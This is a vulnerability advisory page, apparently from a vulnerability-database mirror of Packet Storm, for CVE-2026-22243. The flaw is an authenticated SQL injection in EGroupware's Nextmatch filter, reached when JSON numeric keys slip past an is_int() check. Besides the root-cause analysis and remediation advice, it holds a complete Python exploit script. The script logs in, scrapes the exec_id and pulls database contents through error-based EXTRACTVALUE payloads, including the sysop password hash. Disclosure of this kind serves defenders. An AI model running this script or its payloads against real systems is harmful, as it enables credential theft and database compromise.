Lucene search
K

📄 EGroupware SQL Injection

🗓️ 13 Apr 2026 00:00:00Reported by Łukasz RybakType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 53 Views

Authenticated SQL injection in EGroupware Nextmatch filter via JSON numeric keys bypassing is_int.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-22243
28 Jan 202616:05
attackerkb
GithubExploit
Exploit for SQL Injection in Egroupware
11 Apr 202619:13
githubexploit
Circl
CVE-2026-22243
28 Jan 202607:18
circl
CNNVD
EGroupware SQL Injection Vulnerability
28 Jan 202600:00
cnnvd
CVE
CVE-2026-22243
28 Jan 202616:05
cve
Cvelist
CVE-2026-22243 EGroupware has SQL Injection in Nextmatch Filter Processing
28 Jan 202616:05
cvelist
EUVD
EUVD-2026-4883
28 Jan 202616:05
euvd
Github Security Blog
EGroupware has SQL Injection in Nextmatch Filter Processing
28 Jan 202620:39
github
NVD
CVE-2026-22243
28 Jan 202617:16
nvd
OSV
CVE-2026-22243 EGroupware has SQL Injection in Nextmatch Filter Processing
28 Jan 202616:05
osv
Rows per page
# CVE-2026-22243: EGroupware has SQL Injection in Nextmatch Filter Processing
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2026-22243](https://nvd.nist.gov/vuln/detail/CVE-2026-22243) |
    | **Severity** | HIGH |
    | **Advisory** | [View Advisory](https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **egroupware/egroupware** (versions: < 23.1.20260113)
    - **egroupware/egroupware** (versions: >= 26.0.20251208, < 26.0.20260113)
    
    
    ## CWE Classification
    
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    
    ## Details
    
    ### Summary
    **Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing**
    
    A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the `Nextmatch` filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the `WHERE` clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the `is_int()` security check used by the application.
    
    ### Details
    **Root Cause Analysis**
    The vulnerability exists in how the database abstraction layer (`Api\Db`) and high-level storage classes (`Api\Storage\Base`, `infolog_so`) process the `col_filter` array used in "Nextmatch" widgets.
    
    The application attempts to validate input using `is_int($key)` to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's `json_decode` automatically converts numeric string keys (e.g., `"0"`) into native integers.
    
    Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (`is_int` returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.
    
    **Vulnerable Code Locations**
    
    1. **File:** `sources/egroupware/api/src/Db.php` (Approx. Line 1776)
       Method: `column_data_implode`
    
    ```php
    // In function column_data_implode
    elseif (is_int($key) && $use_key===True) {
         if (empty($data)) continue;
         // VULNERABLE: $data is appended directly to SQL without sanitization
         $values[] = $data; 
    }
    ```
    
    2. **File:** `sources/egroupware/api/src/Storage/Base.php` (Approx. Line 1134)
       Method: `parse_search`
    
    ```php
    // In function parse_search
    foreach($criteria as $col => $val) {
         // VULNERABLE: is_int() returns true for JSON keys like "0"
         if (is_int($col)) {
             $query[] = $val; 
         }
         // ...
    }
    ```
    
    ### PoC
    I have verified this vulnerability on a local Docker instance and confirmed it (read-only) on your public demo instance ([demo.egroupware.net](http://demo.egroupware.net/)).
    
    
    **Automated Exploit Script:**
    The following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection.
    
    ```python
    import requests
    import re
    import sys
    import urllib3
    
    # Suppress SSL warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # CLI Configuration
    BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
    LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
    LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
    
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
    })
    
    def extract_form_inputs(html):
        inputs = {}
        matches = re.findall(r'<input[^>]+>', html)
        for match in matches:
            name_m = re.search(r'name=["\']([^"\']+)["\']', match)
            value_m = re.search(r'value=["\']([^"\']*)["\']', match)
            if name_m:
                name = name_m.group(1)
                value = value_m.group(1) if value_m else ""
                inputs[name] = value
        return inputs
    
    def login():
        print(f"[*] Target: {BASE_URL}")
        login_url = f"{BASE_URL}/login.php"
        
        try:
            print("[*] Retrieving login form...")
            r_get = session.get(login_url, timeout=10)
            
            data = extract_form_inputs(r_get.text)
            
            data.update({
                "login": LOGIN_USER,
                "passwd": LOGIN_PASS,
                "submitit": "Login",
                "passwd_type": "text"
            })
            
            if 'cancel' in data: del data['cancel']
    
            print(f"[*] Attempting login as: {LOGIN_USER}...")
            r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
            
            if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
                print("[-] Login failed. Server returned login form.")
                return False
                
            print("[+] Login successful.")
            return True
        except Exception as e:
            print(f"[-] Critical error during login: {e}")
            return False
    
    def get_exec_id():
        print("[*] Retrieving exec_id...")
        url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
        try:
            r = session.get(url, timeout=10)
            
            match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
            
            if match:
                eid = match.group(1)
                print(f"[+] ID found: {eid}")
                return eid
            else:
                if 'name="passwd"' in r.text:
                    print("[-] Session expired or login failed.")
                else:
                    print("[-] exec_id pattern not found in source code.")
        except Exception as e:
            print(f"[-] Error retrieving ID: {e}")
        return None
    
    def run_query(eid, sql):
        full = ""
        url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
        
        print(f"[*] Executing SQLi: {sql}")
        
        for offset in range(1, 201, 30):
            chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
            payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
            
            post_data = {
                "request": {
                    "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
                }
            }
            
            try:
                r = session.post(url, json=post_data, timeout=10)
                
                match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
                if not match:
                    match = re.search(r"~([^~]+)~", r.text)
                
                if match:
                    chunk = match.group(1)
                    if "..." in chunk: chunk = chunk.replace("...", "")
                    
                    full += chunk
                    if len(chunk) < 1: break
                else:
                    break
                    
            except Exception as e:
                print(f"[-] Query error: {e}")
                break
                
        return full if full else "NO DATA / ERROR"
    
    if __name__ == "__main__":
        if login():
            eid = get_exec_id()
            if eid:
                print("\n" + "="*40)
                print(" SQL INJECTION RESULTS ")
                print("="*40)
                print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
                print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
                print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
                
                print("\n[*] Retrieving hash for 'sysop' user (if exists):")
                res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
                print(f" > {res}")
                print("="*40 + "\n")
    ```
    
    **Proof of Verification** on [demo.egroupware.net](http://demo.egroupware.net/): 
    
    I executed the script against your public demo to confirm exploitability in a production-like environment (read-only).
    <img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" />
    
    **Impact:**
    Attackers with low-privileged access can fully compromise the database. This allows for:
    * **Confidentiality Loss:** Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets).
    * **Integrity Loss:** Modifying or deleting arbitrary data within the application.
    * **Availability Loss:** Potential to drop tables or corrupt data.
    
    ### Remediation
    **1. Input Validation (Whitelisting)**
    Do not rely solely on `is_int()` for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict **whitelist (allowlist)** of allowed column names for filtering in `Nextmatch` widgets. If the key/column is not in the whitelist, reject the request.
    
    **2. Parameter Binding**
    Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.
    
    **3. Strict Type Checking**
    When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using `===` for strict comparison or `filter_var`) before being used in SQL generation logic.
    
    
    ### Credits
    
    Reported by Łukasz Rybak
    
    ## References
    
    - https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22243
    - https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
    - https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
    - https://github.com/advisories/GHSA-rvxj-7f72-mhrx
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Apr 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.8
CVSS 48.7
EPSS0.00057
SSVC
53